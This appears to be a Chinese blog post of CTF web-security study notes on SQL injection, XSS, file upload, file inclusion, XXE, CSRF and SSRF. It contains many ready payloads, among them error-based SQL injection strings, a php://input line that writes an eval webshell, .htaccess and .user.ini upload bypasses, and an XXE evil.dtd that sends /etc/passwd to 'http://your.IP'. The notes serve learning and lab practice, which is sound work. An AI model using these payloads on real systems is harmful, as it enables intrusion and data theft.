CTF_WEB 学习笔记

CTF_Web 学习笔记

0x00 信息搜集和网站目录扫描

robots.txt

.bak 备份文件

wwwroot.zip 或 www.zip

以上这些文件里可能会有一些关键的信息,或者网站源码,主要泄露原因还是由于管理员的疏忽

并且可以用一些好用的扫描工具如:御剑(扫描网站后台)同样对于字典的扩充也很重要

0x01 SQL注入

产生原因:程序编写者在处理应用程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句;编写代码时未对用户可控参数进行足够的过滤便将参数内容拼接进入到 SQL 语句

比如:

1
SELECT * FROM flag WHERE id = 'payload'

那么如果此时构造的payload字符串为

1
' or '1'='1

整个sql查询语句会变为:

1
SELECT * FROM flag WHERE id = '' or '1'='1'

此时WHERE后面的调剂为永真,就会返回所有的值。

常见的SQL注入方法

联合查询:

主要使用UNION函数,将前面查询闭合之后进行union之后的查询

并且可以结合mysql数据库中的特殊数据库,来获得整个数据库信息

布尔盲注:

当判断正确时,有一个回显,判断错误时,有另一个回显。可以使用布尔盲注。

主要在闭合后使用and连接后面的判断语句,当后面的判断语句为真时,整个结果为真,反之为否。

相关函数:length(),ascii(),substr()

时间盲注:

主要使用了sleep()函数,和if语句,当结果正确时执行sleep(),可以根据是否感觉到延迟来判断猜解是否正确。

相关函数:sleep(),if(),length(),ascii()

报错注入:

xpath语法错误:

利用xpath语法错误来进行报错注入主要利用extractvalueupdatexml两个函数。

extractvalue(目标xml文档,xml路径) 对XML文档进行查询的函数 注入点:xml路径
updatexml(目标xml文档,xml路径,更新的内容) 是更新xml文档的函数 注入点:xml路径

extractvalue:

当输入的xml路径满足要求时,会报错,并且将查询结果放在报错信息中,所以可以利用。

1
pyload:'and(select extractvalue("anything",concat('~',(select语句))))

例如:

1
2
'and(select extractvalue(1,concat('~',(select database()))))
'and(select extractvalue(1,concat(0x7e,@@version)))

针对mysql数据库:

1
2
3
4
查数据库名:'and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
updatexml:

第二个参数跟extractvalue函数的第二个参数一样,因此也可以利用,且利用方式相同

1
payload:'and(select updatexml("anything",concat('~',(select语句())),"anything"))

例如:

1
2
'and(select updatexml(1,concat('~',(select database())),1))
'and(select updatexml(1,concat(0x7e,@@database),1))

同样,针对mysql:

1
2
3
4
爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
concat+rand()+group_by()导致主键重复:

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

rand():

生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字

floor():

对任意正或者负的十进制值向下取整

通常利用这两个函数的方法是floor(rand(0)*2) ,其会生成0和1两个数

group by

group by是根据一个或多个列对结果集进行分组的sql语句,其用法为:
SELECT column_name, aggregate_function(column_name)
FROM table_name
WHERE column_name operator value
GROUP BY column_name

常见的payload为:

1
' union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "一个足大的表" group by x)a

例如:

1
' union select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a

利用information_schema.tables表,相似的还可以用information_schema.columns等

为了使结构能够更方便的查看,可以在concat()中添加一些内容

1
' union select 1 from (select count(*),concat((select user())," ",floor(rand(0)*2))x from information_schema.tables group by x)a

之后还是将select语句改为一般的注入语句就可以:

1
2
3
4
爆数据库名:'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆表名:'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆列名:'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆数据:'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

不能使用group_concat函数,所以用limit语句来限制查询结果的列数

堆叠注入:

1
?id=1';insert into users(id,username,password) values ('38','less38','hello')

用;可以分开两个不同的sql语句,所以可用;结束一个sql语句然后执行后面构造的sql语句,堆叠注入与其他不同的是,可以构造增删查改操作的sql语句。

常见过滤绕过方法

  • 双写绕过
  • 将字符转换为16进制,前面带上0x
  • 代替等于号的方法: !(x<>y) 和 x regexp y 和 x in (select y)
  • 代替空格的方法 /**/ 和 %0A
  • 字符串截断 #

0x02 XSS

产生原因:由于未对用户输入的数据进行过滤,于时可以向WEB页面里插入恶意HTML代码,当用户浏览该页之时,嵌入其中Web里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。

简单payload:

1
<script>alert('xss')</script>

常见的xss类型:

  • 反射型xss

  • 存储型xss

  • DOM型xss

反射型XSS

XSS代码在URL中,当用户点击URL的时候,XSS代码随响应内容一起传回给浏览器。

1
http://www.abc.com/?params=<script>alert(’xss‘)</script>

也就是说PAYLOAD存储在URL中

存储型XSS

XSS代码存储在服务器中,只要有用户访问包含XSS代码的页面,就会触发XSS代码

最常见场景是留言板和贴吧回帖

DOM型XSS

修改页面的DOM节点,利用非法输入来闭合对应的html标签

img

DOM( Document Object Model,文档对象模型 ) 是通过使用 JavaScript 代码从服务器 ( 源代码 ) 接收到的 HTML 文档上构建的结果程序。 这里localStorage是数据来源,innerHTML是接受并执行。

绕过方法

  • 对payload进行各种编码
  • XSS过滤绕过速查表

0x03 文件上传

工具,靶场推荐

产生原因:不对被上传的文件进行限制或过滤

常用工具:

  • 中国菜刀
  • 蚁剑

用于管理我们上传的webshell

推荐upload-labs靶场进行练习,里面几乎包括了所有文件上传漏洞

常见绕过方式

.htaccess

1
2
3
4
5
6
<Files ~ "^.(htaccess|htpasswd)$">
deny from all
</Files>
Options +Indexes
order deny,allow
SetHandler application/x-httpd-php

.user.ini

1
auto_prepend_file=code.png

​ 基础的比如修改Content-type、大小写绕过、00截断、双写绕过、文件解析漏洞什么的,可以做一做上面提到的那个文件上传靶场,很快就可以掌握。

​ 这里来说说这两个点

  • .htaccess

    前提条件:apache
    .htaccess:分布式配置文件,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,我们可以通过上传这个文件从而对目录下文件的解析方法进行控制,如何进行利用呢?
    SetHandler application/x-httpd-php
    主要是这一行,在头上加这个,就会把当前目录下的所有文件当作php文件来执行
    具体看下这个第四关,首先来看源码

  • .user.ini

    前提条件:fastcgi运行的php
    .user.ini实际上就是一个可以由用户“自定义”的php.ini,而且.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
    这个配置项有很多很多,我们来列举其中的一个,类似文件包含:
    auto_prepend_file=code.png
    首先上传一个图片马,然后获取其相对路径,修改上面这句配置,加到.user.ini中,上传这个ini文件这样我们可以借助.user.ini让所有php文件都“自动”包含我们的一句话的webshell。

0x04 文件包含

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,以节省开发时间。

产生原因:文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

常见文件包含函数:

1
2
3
4
require()
require_once()
include()
include_once()

常见伪协议

php://filter

使用条件:
allow_url_fopen :off
allow_url_include:off

利用它进行base64编码,读取网页源码

1
2
?filename=php://filter/convert.base64-encode/resource=lfi.php
?filename=php://filter/read=convert.base64-encode/resource=lfi.php

php://input

使用条件:
allow_url_include:on

可以获取post的数据

1
2
url: ?filename=php://input
POST: <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[xx])?>');?>

file://

1
?filename=file:///etc/passwd

zip://, bzip2://, zlib://

1
2
3
4
5
6
zip://
?filename=zip://www/file.jpg%23code.txt
bzip2://
?filename=compress.bzip2://./code.jpg
zlib://
?filename=compress.zlib://./code.jpg

data://

1
2
3
?filename=data:text/plain,<?php phpinfo()?>
?filename=data://text/plain,<?php phpinfo()?>
?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

ctf中常用php伪协议

img

0x05 XXE

XXE Injection(XML External Entity Injection)
XML 外部实体注入攻击。XML 文档结构里定义了实体(entity)这个概念。实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容。

什么是XML文档

在企业开发中,前端和后端交换数据的时候,一般都不会直接返回字符串,因为字符串容易出问题。而是返回XML或者JSON格式的数据。

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

例如:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

XML格式:
第一行是 XML 声明:,它定义 XML 的版本 (1.0) 和所使用的编码 。
在XML中数据都是放在一对标签中的,标签名可以随意写。如下:
下一行描述文档的根元素
接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body)
最后一行定义根元素的结尾

XXE原理

可以通过发送构造好的xml请求,取得一些服务器回显

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>

将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,还可以通过返回时间的判断对内网发起访问扫描。换而言之,XXE是一种从本地到达各种服务的方法。此外,在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。

但是当服务器并不存在回显时,仍然存在xxe,此时可以将数据发送到远程服务器

远程攻击者服务器新建evil.dtd

1
2
3
<!ENTITY %file SYSTEM "file:///etc/passwd">
<!ENTITY %request "<!ENTITY foo SYSTEM 'http://your.IP/id=%file;'>">
%request;

然后再网站中POST数据

1
2
3
<?xml version="1.0"?>
<!DOCTYPE xxe SYSTEM "http://yourip/evil.dtd">
<description>&xxe;</description>

攻击者服务器将会获得回显

1
[04/Dec/2016 20:19:40] "GET /?id=root:x:0:0:root:/root:/bin/sh%0Alp:x:7:7:lp:/var/spool/lpd:/bin/sh%0Anobody:x:65534:65534:nobody:/nonexistent:/bin/false%0Atc:x:1001:50:Linux%20User,,,:/home/tc:/bin/sh%0Apentesterlab:x:1000:50:Linux%20User,,,:/home/pentesterlab:/bin/sh%0Aplay:x:100:65534:Linux%20User,,,:/opt/play-2.1.3/xxe/:/bin/false%0Amysql:x:101:65534:Linux%20User,,,:/home/mysql:/bin/false%0A HTTP/1.1" 200 -

0x06 CSRF

跨站请求伪造 (Cross Site Request Forgery):受害者访问一个网站时,在其 Cookie 还没有过期的情况下,攻击者伪造一个链接地址发送受害者并欺骗让其点击,从而形成 CSRF 攻击。

举一个简单的例子

DVWA靶场中关于csrf题目

一个改密界面,使用get传参

1
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

并且没有任何验证,此时可以进行csrf攻击,诱骗受害者点击某网站,在用户不知情的情况下修改自己的密码,网页源码:

1
2
3
4
5
<script src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#"></script>

<?php
echo 'CSRF test'
?>

使用js在用户点击网站时,同时打开改密网站,用户密码就这样被修改。

0x07 SSRF

SSRF(Server-side Request Forge, 服务端请求伪造),由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。

产生原因:由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制,导致从URL地址获取网页文本内容,加载指定地址的图片等。

例如:

1
2
3
4
5
6
7
8
9
10
<?php
if (isset($_GET['url'])) {
$content = file_get_contents($_GET['url']);
$filename = ''.rand().'img-tasfa.jpg';
$fopen = fopen($filename, 'wb ');
file_put_contents($filename, $content);
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>

这就是一个存在ssrf的网页,客户端输入一个url后,会由服务器发起访问。

利用手段:

  1. 可以对外网、内网、本地进行端口扫描,某些情况下端口的Banner会回显出来(比如3306的);

  2. 攻击运行在内网或本地的有漏洞程序(比如溢出);

  3. 可以对内网Web应用进行指纹识别,原理是通过请求默认的文件得到特定的指纹

  4. 攻击内网或外网有漏洞的Web应用

  5. 使用file:///协议读取本地文件


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!